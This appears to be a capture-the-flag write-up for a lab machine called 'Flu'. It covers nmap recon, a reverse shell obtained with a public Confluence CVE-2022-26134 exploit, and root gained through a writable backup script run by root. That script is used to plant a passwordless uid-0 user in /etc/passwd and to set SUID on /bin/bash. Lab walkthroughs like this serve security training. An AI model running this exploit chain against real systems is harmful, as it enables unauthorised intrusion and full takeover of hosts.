Flu_flow
Recon
TCP Scan
nmap -sCV -oN scans/tcp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0086s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_ 256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open http Apache Tomcat (language: en)
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.26 seconds
UDP Scan (Top 20)
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
[sudo] password for hans:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0088s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds
Service Enumeration
Web
Main Page
http://192.168.198.41:8090/login.action?os_destination=%2Findex.action&permissionViolation=true
Googlefu
https://github.com/jbaines-r7/through_the_wire
┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Flu]
└─$ git clone https://github.com/jbaines-r7/through_the_wire
Cloning into 'through_the_wire'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 25 (delta 12), reused 8 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 11.17 KiB | 1.12 MiB/s, done.
Resolving deltas: 100% (12/12), done.
┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Flu]
└─$ cd through_the_wire
┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ chmod +x through_the_wire.py
┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ python3 through_the_wire.py -h
_____ _ _
/__ \ |__ _ __ ___ _ _ __ _| |__
/ /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
/ / | | | | | | (_) | |_| | (_| | | | |
\/ |_| |_|_| \___/ \__,_|\__, |_| |_|
|___/
_____ _ __ __ _
/__ \ |__ ___ / / /\ \ (_)_ __ ___
/ /\/ '_ \ / _ \ \ \/ \/ / | '__/ _ \
/ / | | | | __/ \ /\ /| | | | __/
\/ |_| |_|\___| \/ \/ |_|_| \___|
jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"
🦞
usage: through_the_wire.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--protocol PROTOCOL] [--reverse-shell] [--fork-nc] [--nc-path NCPATH] [--read-file READ_FILE]
Atlassian Confluence Server exploit (CVE-2022-26134)
options:
-h, --help show this help message and exit
--rhost RHOST The remote address to exploit
--rport RPORT The remote port to exploit
--lhost LHOST The local address to connect back to
--lport LPORT The local port to connect back to
--protocol PROTOCOL The protocol handler to use
--reverse-shell Execute a bash shell
--fork-nc Directs the program to start an nc listener
--nc-path NCPATH The path to nc
--read-file READ_FILE
From memory, read the provided file
Foothold
Shell
Simply by running the script with the proper arguments will give us a shell:
python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost 192.168.45.232 --lport 1234 --protocol http:// --reverse-shell
We immediately stablise our shell.
confluence@flu:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
confluence@flu:/opt/atlassian/confluence/bin$ ^Z
zsh: suspended python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost 123
┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ stty raw -echo; fg
[1] + continued python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost 123
confluence@flu:/opt/atlassian/confluence/bin$ export TERM=xterm
confluence@flu:/opt/atlassian/confluence/bin$
user flag
confluence@flu:/opt/atlassian/confluence/bin$ cd /home
confluence@flu:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Dec 12 2023 .
drwxr-xr-x 19 root root 4096 Dec 12 2023 ..
drwxr-xr-x 4 confluence confluence 4096 Aug 2 2024 confluence
confluence@flu:/home$ cd confluence/
confluence@flu:/home/confluence$ whoami && hostname && cat local.txt
confluence
flu
d2c488f9d0432502a919def66b6990c1
Privilege Escalation
Low-Hanging Fruits
Linux
#sudo -l
need password for user, confluence
cat /etc/crontab
#cat /etc/crontab
default
crontab -l
#crontab -l
no crontab for confluence
ls -la /etc/cron.*
#ls -la /etc/cron.*
confluence@flu:/home/confluence$ ls -al /etc/cron.*
/etc/cron.d:
total 16
drwxr-xr-x 2 root root 4096 Apr 15 2023 .
drwxr-xr-x 101 root root 4096 Dec 12 2023 ..
-rw-r--r-- 1 root root 201 Feb 17 2023 e2scrub_all
-rw-r--r-- 1 root root 102 Nov 23 2022 .placeholder
/etc/cron.daily:
total 32
drwxr-xr-x 2 root root 4096 Apr 15 2023 .
drwxr-xr-x 101 root root 4096 Dec 12 2023 ..
-rwxr-xr-x 1 root root 376 Apr 13 2023 apport
-rwxr-xr-x 1 root root 1478 Mar 6 2023 apt-compat
-rwxr-xr-x 1 root root 123 Feb 24 2023 dpkg
-rwxr-xr-x 1 root root 377 Dec 14 2022 logrotate
-rwxr-xr-x 1 root root 1395 Jan 8 2023 man-db
-rw-r--r-- 1 root root 102 Nov 23 2022 .placeholder
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Apr 15 2023 .
drwxr-xr-x 101 root root 4096 Dec 12 2023 ..
-rw-r--r-- 1 root root 102 Nov 23 2022 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Apr 15 2023 .
drwxr-xr-x 101 root root 4096 Dec 12 2023 ..
-rw-r--r-- 1 root root 102 Nov 23 2022 .placeholder
/etc/cron.weekly:
total 16
drwxr-xr-x 2 root root 4096 Apr 15 2023 .
drwxr-xr-x 101 root root 4096 Dec 12 2023 ..
-rwxr-xr-x 1 root root 1055 Jan 8 2023 man-db
-rw-r--r-- 1 root root 102 Nov 23 2022 .placeholder
find / -perm -4000 -type f 2>/dev/null
#find / -perm -4000 -type f 2>/dev/null
confluence@flu:/home/confluence$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/libexec/polkit-agent-helper-1
/snap/snapd/18596/usr/lib/snapd/snap-confine
/snap/core22/607/usr/bin/chfn
/snap/core22/607/usr/bin/chsh
/snap/core22/607/usr/bin/gpasswd
/snap/core22/607/usr/bin/mount
/snap/core22/607/usr/bin/newgrp
/snap/core22/607/usr/bin/passwd
/snap/core22/607/usr/bin/su
/snap/core22/607/usr/bin/sudo
/snap/core22/607/usr/bin/umount
/snap/core22/607/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/607/usr/lib/openssh/ssh-keysign
ss -tlnp
netstat -tlnp
#ss -tlnp or netstat -tlnp
confluence@flu:/home/confluence$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 10 *:8090 *:* users:(("java",pid=1123,fd=44))
LISTEN 0 1024 *:8091 *:* users:(("java",pid=1420,fd=21))
LISTEN 0 4096 *:22 *:*
LISTEN 0 1 [::ffff:127.0.0.1]:8000 *:* users:(("java",pid=1123,fd=77))
cat /etc/passwd | grep sh$
#cat /etc/passwd | grep sh$
confluence@flu:/home/confluence$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
confluence@flu:/home/confluence$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Dec 12 2023 .
drwxr-xr-x 19 root root 4096 Dec 12 2023 ..
drwxr-xr-x 4 confluence confluence 4096 Aug 2 2024 confluence
confluence@flu:/home/confluence$ ls -al /home/confluence/
total 24
drwxr-xr-x 4 confluence confluence 4096 Aug 2 2024 .
drwxr-xr-x 3 root root 4096 Dec 12 2023 ..
-rw------- 1 confluence confluence 16 Dec 12 2023 .bash_history
drwxr-x--- 3 confluence confluence 4096 Aug 2 2024 .cache
drwxr-x--- 3 confluence confluence 4096 Aug 2 2024 .java
-rw-r--r-- 1 confluence confluence 33 Jun 24 04:36 local.txt
cat ~/.bash_history
#cat .bash_history
Confluence@flu:/home/confluence$ cat .bash_history
cd
ls -alh
exit
ls -al /var/www/ /opt/ /var/backups/
#ls -al /var/www/ /opt/ /var/backups/
confluence@flu:/home/confluence$ ls -al /var/www/ /opt/ /var/backups/
ls: cannot access '/var/www/': No such file or directory
/opt/:
total 756692
drwxr-xr-x 3 root root 4096 Dec 12 2023 .
drwxr-xr-x 19 root root 4096 Dec 12 2023 ..
drwxr-xr-x 3 root root 4096 Dec 12 2023 atlassian
-rwxr-xr-x 1 root root 774829955 Dec 12 2023 atlassian-confluence-7.13.6-x64.bin
-rwxr-xr-x 1 confluence confluence 408 Dec 12 2023 log-backup.sh
/var/backups/:
total 756
drwxr-xr-x 2 root root 4096 Jun 24 04:44 .
drwxr-xr-x 14 root root 4096 Dec 12 2023 ..
-rw-r--r-- 1 root root 51200 Jun 24 04:35 alternatives.tar.0
-rw-r--r-- 1 root root 38981 Dec 12 2023 apt.extended_states.0
-rw-r--r-- 1 root root 0 Jun 24 04:35 dpkg.arch.0
-rw-r--r-- 1 root root 268 Dec 12 2023 dpkg.diversions.0
-rw-r--r-- 1 root root 100 Apr 15 2023 dpkg.statoverride.0
-rw-r--r-- 1 root root 659872 Dec 12 2023 dpkg.status.0
Confluence Backups
confluence@flu:/home/confluence$ cat /opt/log-backup.sh
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
confluence@flu:/home/confluence$ ls -al /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 408 Dec 12 2023 /opt/log-backup.sh
The script is owned by confluence but it copies logs to the root folder where only the root user has access. This means the script is always run as root.
Write as root
Tried modifying the script to write a file in /tmp folder as root by adding an a simple echo to file:
confluence@flu:/home/confluence$ cat /opt/log-backup.sh
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
echo 'hello' > /tmp/test
The file was indeed written as root:
confluence@flu:/home/confluence$ ls -al /tmp/test
-rw-r--r-- 1 root root 6 Jun 24 05:40 /tmp/test
confluence@flu:/home/confluence$ cat /tmp/test
hello
Write /etc/passwd
confluence@flu:/home/confluence$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
Command to write /etc/passwd with user hacker with uid 0:
echo 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh' > /tmp/testpasswd
After a short while, /tmp/testpasswd appears:
confluence@flu:/home/confluence$ cat /tmp/testpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh
After changing the output file, we just need to wait a while and then switch to hacker:
confluence@flu:/home/confluence$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1717 Dec 12 2023 /etc/passwd
confluence@flu:/home/confluence$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1744 Jun 24 05:52 /etc/passwd
confluence@flu:/home/confluence$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh
confluence@flu:/home/confluence$ su - hacker
# whoami && hostname && cat /root/proof.txt
root
flu
416bbf7a71213f91d43f5b04362f4090
Bonus - add SUID bit to /bin/bash
This can also be done to gain root.
Modify script by adding command to add the SUID bit to /bin/bash:
chmod u+s /bin/bash
Verify:
confluence@flu:/home/confluence$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1437832 Jan 7 2023 /bin/bash
confluence@flu:/home/confluence$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1437832 Jan 7 2023 /bin/bash
Profit:
confluence@flu:/home/confluence$ bash -p
bash-5.2# whoami && hostname && cat /root/proof.txt
root
flu
416bbf7a71213f91d43f5b04362f4090